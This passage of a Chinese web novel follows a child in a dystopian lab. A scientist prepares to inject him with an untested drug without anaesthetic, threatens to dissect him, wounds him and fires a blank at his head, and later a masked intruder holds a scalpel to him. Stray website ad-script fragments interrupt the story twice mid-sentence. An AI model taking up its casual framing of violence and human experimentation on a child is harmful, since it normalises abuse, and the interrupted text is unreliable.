像只误闯入人类领地却如逛自家花园的幼鹿。 楼道灯光明亮,四周静谧。 谢医生站在电梯口,眼神直勾勾的注视着男孩逐渐远去的身影,左手虚捂住花所在的衣兜。 那里正好是心脏所在地。 “……” 如果这是他的实验课题该有多好。 真是嫉妒。 电梯内部突然红光四溢。 警告吗。 白大褂收回远眺的目光,若有所思的看向电梯内部闪着红灯的监控,而后神色如常的走进电梯。 另一边。 被觊觎的小孩嫌弃地拿出一张提前准备好的小手帕,将手上的泥土渣一点点擦拭干净,又把脏了的小手帕包起来重新塞回兜里,之后才不慌不忙按着自称姓谢的医生给的路线前往。 最后停在一扇厚重的电子门前。 小孩很有礼貌的敲了敲门。 门自动向两边打开。 一股冷气自内吹向门口的时无序,一瞬间如坠冰窟。 字面意义上的。 太冷了! 他一时间站在门口没动,直到站在面前的姓林的白大褂冷冷开口。 “怎么不进来?” 时无序抱着胳膊,虽然穿着长袖但还是能感受到刺骨的寒意,他打了个喷嚏,道:“里面好冷。” 林舟行一顿,将室内空调温度调高了些,男孩这才走了进去。 好弱。 观察着男孩一举一动的林博士轻蹙了下眉头。 如果这批实验品都是这个质量,那他合理怀疑这几年送到贫民窟的增强体质的试剂最终到底落在了谁手里。 他想到了迄今为止仍旧暗中互相使绊子的各方势力。他又想,该说不愧是人类吗,即使到了这种地步也还在坚持内斗。 室内整洁有序,家具不多,显得有些空旷。 时无序朝路过的一间门没关严的房间看去,视线里石英桌上摆满了各种文献和密密麻麻的笔记,一旁还有显微镜和几列摆放整齐的试管。比起人类意义上的“家”,这里更像是另一个实验室。 这个想法在他看见一个安置着各种机器设备和医疗器具包围的房间后更加肯定了。 他按着要求被固定在手术台上,穿着白大褂的林舟行在一旁鼓捣着什么仪器。 半晌,这位林博士满意的看着手里的报告单,一向冷淡的玻璃蓝眼里闪烁着狂热的光芒。 “骨骼年龄九岁,不错。死亡率……百分之八十三。很好。” 他露出了见面后的第一个笑容,再次转向时安静走神的男孩时,手里拿了一管墨绿色的试剂。 时无序看着白大褂把试剂瓶替换在针管注射器上,不好的预感油然而生。 已知,他早来了半个月。 而这个时候的林博士还没提出完整的基因融合方案…… “仅稀释了百分之十的新型R增幅药剂,还是第一次用在人类身上。你是我见过少有的死亡概率降到百分之九十以下的人类。”林舟行丹凤眼里升起了一抹期待和疯狂,“极端疼痛能让你的意识保持清醒,进一步降低死亡率,所以就不给你用麻药了,你自己咬牙坚持一下吧。” “放心,如果你死了我会亲手解剖你的尸体。你不会白死,这也是为人类的未来做出的伟大贡献。” 时无序:?? 45.基因实验(4) “等等。” 时无序叫住近在咫尺的林博士,他努力仰起被固定在手术台上的头颅,勾出一抹笑容,慢条斯理道:“您不觉得我现在营养不良、过分瘦弱了吗?增幅剂也是在原本的身体素质基础上起作用不是么,我觉得身体是否健康与实验的成功率有很强的关联性,所以要不咱先把实验计划往后延长几个月?” 林舟行有一瞬的迟疑,但还是拒绝了:“不行,我等不了那么久。你的身体内部机能也远比外表看起来的更加强悍。” 而且他并不觉得对方会死在第一步。 “那就四个周,28天,不到一个月,这样呢?” “不行。” 男人眼底的亢奋激昂消退,取而代之的是漠不关心的冷淡。 “欸那三个周零七天呢?我保证这段时间内把自己养得白白嫩嫩、健健康康。” “……” “三个周,就三个周!” 男孩还带有婴儿肥的脸摆出一副可怜兮兮的表情,黑白分明的眼睛湿漉漉,仰头望向男人时好像将落不落的晨露。 却恰好与男人记忆里昨夜那片人造夜空下狠戾地看向他的双眸重合。 林舟行从注射器收纳盒中取出针管的动作一顿。 哪怕他已经见证过电梯里男孩一秒变脸的画面,哪怕他清楚这不过是男孩伪装出来的表象,但当真正面对时却还是一怔。 如此灵动。 如此生机。 “……两个周。不能再多了。” 等回过神时,话已经说出了口。 “行!” 男孩答应的飞快。 他的肢体被固定,眼睛却像是会说话,此时正狡黠的望着他。 好像在说,这可是你说的,言而有信。 林舟行:“……” 他面无表情的按下手边仪器上的按钮,固定在时无序身上紧捆的束缚带随即松开。 男孩坐起身,低头摩挲自己红肿的皮肤,毛茸茸的黑发随着动作耷拉下来,落在微耸瘦削的肩膀上,红白黑的交织在一片惨白冰冷的实验室里惊人的显目。 无论从那个角度观看都是具堪称完美的骨架。 林舟行盯着被咯出红印的苍白皮肤,心里想的却是开刀时从哪里下手才能更好的保护尸体的完整度。 不过是稍微少见一点的实验体,竟然敢一而再再而三的违逆他的指令。 真是找死。 一个好的实验体就应该老实完成实验的指令,然后在一次次实验中光荣赴死。 至于之前承诺的那些锦帛之话?他又不是搞慈善的,也不是什么孤儿院院长,更不是靠诚信吃饭的良心商人,就算违背了又能怎样? 不疼不痒。 这个世界可没有道德法律一说,人类也不过都是苟活着藤壶,贪婪无耻又毫无节制的汲取着脚下这片大地的全部生机。 林舟行玻璃蓝的眼珠里划过一道异色,其中杀意滋生,但当那双黑漆漆的眼眸又一次出现在他的视线中时,男人却又突然改变了主意。他取了男孩的一管血,快步走向一旁的某个高大仪器,盛有血的支管被嵌入某个卡槽后深入仪器内部,佩戴手套的手在仪器上敲击几下,蓝色电子屏幕加载出的文字映入那双无机质的玻璃蓝中。 林舟行精准提取长篇大论中的关键文字,眼睛微微眯起。 【蛇】初代基因的适配者……似乎找到了。 偏偏是在这时候。 明明是件不错的好消息,但由于适配对象出现的时机,地点,和他本身表现出来的泰然自若与灵敏狠戾都太过巧合,以至于林舟行忍不住怀疑男孩是否隶属哪方势力,对方又是如何安插人手得知他下一步的实验课题,以及,有何目的。 世人皆有欲求,只要抓住这点核心,一切问题在他手里便可迎刃而解。 他深深看了眼男孩。 这小孩,得留在身边。 …… 顶着男人神情莫测的探究目光,我旁若无人的伸了个懒腰。 这位林博士想方设法的试图榨干我的全部价值,我自然不会吝啬于回报他以“利用”。 故意引起他的杀意,他的好奇,他的猜忌,调动他干涸又抠门的情绪,即使是微弱的波动也能提供我在其心目中的虚假价值,届时,便能助我更进一步达成目的。 毕竟,只是当他人手中刀、门边狗才能苟活到系统规定的日期……这怎么能行呢? 我要活得潇洒,活得肆意。 我会将想要束缚住我的撕碎,将阻碍我的踩在脚下,直到我登顶那日,直到我重获自由。 一把自我出现时便消失在手术台上的手术刀此时在我的指尖飞舞,翩跹间划出的光影锋芒逼人。 见男人追随刀锋的视线愈发深邃,我笑着将手术刀递过来,露出的尖牙如同镶嵌在红枕上的银钻:“不好意思。您也知道我出身不好,一身的坏毛病,就比如……一紧张就总想偷摸顺点东西,这不,刚进门时不小心把这玩意顺下来了。喏,现在物归原主。” “把我当傻子骗?” 林舟行没有接过,他好笑的居高临下俯视我,手里把玩着那只同样危险的墨绿色试剂,“既然碰过了就拿走吧。希望两周后它不会成为你陪葬的随葬品。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 我含笑收下了那把一看就价值不菲的手术刀。 原本它的作用是捅穿眼前这个男人的喉咙。 “两个周的期限,在此期间你需要每天跟我到实验室。我会为你订制一份全新的改造体质的试剂,不致死的分量。” 我狐疑的看向他。 天上掉馅饼? 他玻璃蓝色的眼珠子转向我,似笑非笑:“很痛的哦。” 哦,馅是毒的。 男人收回视线,重又鼓捣起手中的仪器,赶客之意不言而喻。 我撇撇嘴,整理好同款白大褂。 错身而过的瞬间,林舟行的声音从身侧幽幽传来,“我的兜里是有什么你想要的东西吗,还是你又紧张了?” 对方杀意又上来了。 “呀,一不下心就……我还有点事,就先离开了哈。” 我讪笑着从靠近男人衣摆处的口袋里伸出手来,空无一物的手朝男人挥了挥,脚下一点没闲着,嗖嗖就往离开实验室的门走去。即将跨出门口,直觉却让我下意识侧身,也是在动作的瞬间,一把血管钳贴着耳廓飞了出去,紧接着便是火辣辣的痛觉。 “东西放下,在我改变主意前滚出去。” 身后男人声音冷淡。 我摸了下耳朵,指尖沾满了血。 终于到忍耐极限了吗? 真是的……对小孩也好意思下手。 我压住嘴角的笑意,举起双手转回身,以一种投降的姿态,好整以暇地仰头看着他。 “大叔,这次我真的什么都没拿哦。” “……” 一句“大叔”差点给林舟行的冷漠脸干破防。 虽说我的年龄说不准努努力还能当上他祖宗,但谁让我现在穿了具孩童身体呢。 男人沉默片刻,才开口道:“没跟你开玩笑。不管你原来隶属谁麾下,你现在是在我的地盘上,交不出来只有死路一条。” 说的好像谁把他当玩笑看了似的。 我挎着脸,不高兴的摊开两只手:“本来就不是我拿的,你就算把我杀了我也拿不出来。不信您自己来翻我身上的所有口袋,又或者……” 双眼直直对上那双通透的玻璃蓝,“您现在轻轻扣动手中的扳机,只需‘砰’一声,我的尸体在您手下受到检查时或许会比我更加老实。” 林舟行举着新型枪支的那只手不为所动。 含在舌底的芯片隐隐发冷。 我看见枪口对准我的脑袋,而他食指微曲,扳机扣动。 砰。 …… ………… 是空弹。 46.基因实验(5) 我眨眨有些干涩的眼睛。 林博士最终还是皱着眉亲手翻了一遍带口袋的白小褂。 当然,他一无所获。 我拾起被他嫌弃丢在一边的白小褂,穿着没有任何口袋的里衣在他身前晃悠一圈,末了还摊开双手,状若无奈道:“这下您总肯放心了吧?要我说,您若还是不信,那不如直接给我一枪来的爽快,免得……” 他:“给我滚出去。” 我:“好的嘞。” 我应声飞快,得了便宜便不再卖乖,脚下踩了油般飞速向外滑去。 身后林舟行的太阳穴处青筋一鼓一鼓,疑似忍耐到了极点。 实验室的电子门在我出去后自动关闭。 哼哼,林小友道行还是短了些! 舌尖抵着顺来的芯片,我愉快的依葫芦画瓢,按着来时的路一路回到寝室。 房间供暖不太好,打开门的一瞬,寒意扑面。 室内电子设备闪烁着微光,3:14。 我换下了白褂子,一骨碌钻进被窝,将白色被子扯过头顶,弓身撑起一个属于自己的黑色小天地。 嘴里的芯片被吐出,提前准备好的纸巾擦干净后借着被褥间缝隙透出的光,我看清了手里芯片的全部样貌:薄如蝉翼的半导体中心,是跳动的朱砂血般血滴状物,黑暗里闪着微弱莹莹红光。 这便是目前肉眼能够观测到的全部了。 如果想看得更仔细些,我需要显微镜。 显微镜很常见,尤其是在实验室数不胜数的这个副本里。 林舟行的休息室里就有两台。 可是我手里这玩意见不得光啊。 我小心捧住芯片,心想如果是道具就好了,还能看看属性介绍。 结果下一秒眼前还真凭空出现一道系统专属面板。 【*#&道具:&%#*@&】 【*%#!@&***%!@###*****】 我:…… 这是信号不好还是漏电了? 连着打了几个哈欠,思绪渐渐停滞,眼皮沉重如千斤顶。我将它放进个人空间,揉了揉迷瞪的眼睛。 这是在正常生理状态下从未有过的困倦。 我倒头就睡。 Zzzzz…… 睡梦中,外界似乎并不安宁。 我翻了个身。 Zzzzzz………… 一夜无梦。 第二天,我被不厌其烦的敲门声唤醒。 烦躁地抓了两下乱糟糟的头发,披上白褂子,手搭在门把手上。 然后停住。 我仔细回想那人敲门的声音—— 敲三下,停五秒,再次敲三下,停五秒。 与昨天带路的那个谢医生不一样。 是换人了吗?这么想着,我打开旁边连接门外的智能电子屏幕。 本该反应实况的屏幕此时却是一片漆黑。 故障? 不对。屏幕内下方扩声器发出的悉索声,屏幕上抖动着变动的暗色,一切都在彰显着智能电子屏功能的正常。 我想门外有人故意将电子眼遮住了。 对方为什么要这么做,目的是把我引出去吗?然后呢,它想对我做什么? 疑惑接二连三的冒出,我打哈欠的同时下意识看了眼时间。 12:00 好早。 门外新一轮的敲门声又开始了。 能进来? 进不来? 我思忖。 结果是一个又一个的哈欠。 啊,果然还是好困。 我哒哒踩着拖鞋回到还没完全冷却的被窝。 午安。 Zzzz…… Zzzzz……Zzzzz…… Zzz…? 头顶怎么冷飕飕的。 我带着困惑睁眼,黑夜里,陌生男人弯腰,带着他那张颠倒的脸立在床头。 他不知看了多久,慢悠悠开口道:“醒了?” 我草。 浑身一激灵,挥出去的巴掌再难收回。 啪—— 陌生男人的脸微微偏了过去。 “哈。” 男人顶着巴掌印,垂下头颅低声轻笑,笑声断断续续,时高时低,在只有电子表莹莹光亮下的黑色密闭空间里显得格外瘆人。 他猛地弯腰贴近刚坐起身的我,拉起我的手贴在他脸上,压低的声音不无兴奋:“来,再打一次。” 陌生男人意犹未尽,性质昂扬。 而我惊魂未定,手脚冰凉。 用力挣开他的手,我手忙脚乱地往床尾缩了缩,动作间与男人对视。黑暗中,对方骨形优越的眉眼上挑,眼神专注,然后在我的注视下,他缓缓眨了下左眼,动作生疏僵硬,有如患有小儿麻痹症的偏瘫患者。 这不合时宜的想法让我即使在慌乱间也控制不住发笑。 咳。 我正了正神色,被子底下的手紧握之前挣扎时从枕下摸出的手术刀,呼吸间平复下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紊乱的气息。 他看着我,似笑非笑,直到我俩隔着两米长的床铺对视僵持了十来秒,那点零丁笑意终于湮灭在丹凤眼尾。 陌生男人奇怪道:“你不记得我了?” 我:“……我该认识你吗?” “好吧,”他耸了耸肩,“那我来帮你想起来。” 说罢,他翻身上床,像条矫捷的狼般闪身扑向我。 我后撤一步抽出手术刀,刀尖在半空中划向男人喉咙。 本该是做过无数遍、十拿九稳的事,可眼见刀尖逼近,即将迸溅血色时,男人从眼前消失了。 背后隐隐发冷,我暗道不好却已然来不及反应。 果然下一秒男人出现在背后,还夺走了我手里的手术刀。 他从身后把刀尖抵在我的下颚,语气不解:“速度慢,力量弱,这种程度还敢威胁我小心床头?个子不高胆子还挺大。” “……” 我咬牙切齿。 什么叫速度慢、力量弱、个子不高……副本速还我妈生体,我要和这中登决一死战! 想归想,事实归事实。对方自爆似概括前提要点的话语已经明确彰显了他的身份。 我心一沉。 太好了,是昨天深夜遇到的那个血大褂,那个一共被我扇了两次脸还反复挑衅过的血大褂,我没救了。 我生无可恋。 身后人将刀刃又逼近几分,状似苦恼般俯身在我耳边道:“怎么办呢,你好像知道我是谁了。但我们这可有个规定,所有科研人员不能在有旁人的状态下摘下护目镜和防护罩……而你,现在不光看到了我的脸,还知道了我是谁,这事要是被发现了我会死的。这可怎么办呢。” 热气喷在我的耳廓,带来生理上的阵阵颤栗。 我深谙只有死人才能守口如瓶这一道理。 “所以你现在是要杀人灭口?”我微向上仰头,尽量减小与刀刃的接触范围。 黑暗里,血大褂似乎摇了摇头,我看不见,但他的碎发正大幅度的搔着我的后颈。 他惚地收起手术刀,单手将我抱起,末了还将那把手术刀塞进我的手里。 体型的巨大差异让我可以完美缩在他的胸膛。 我仰头看他。 从近处看男人的五官有些熟悉,却一时想不起在哪里见过。 他低头,丹凤眼微微弯起。 愉悦的表现。 像被顺毛的大猫。 “我的意思是,这是我和你,共同的死亡秘密。”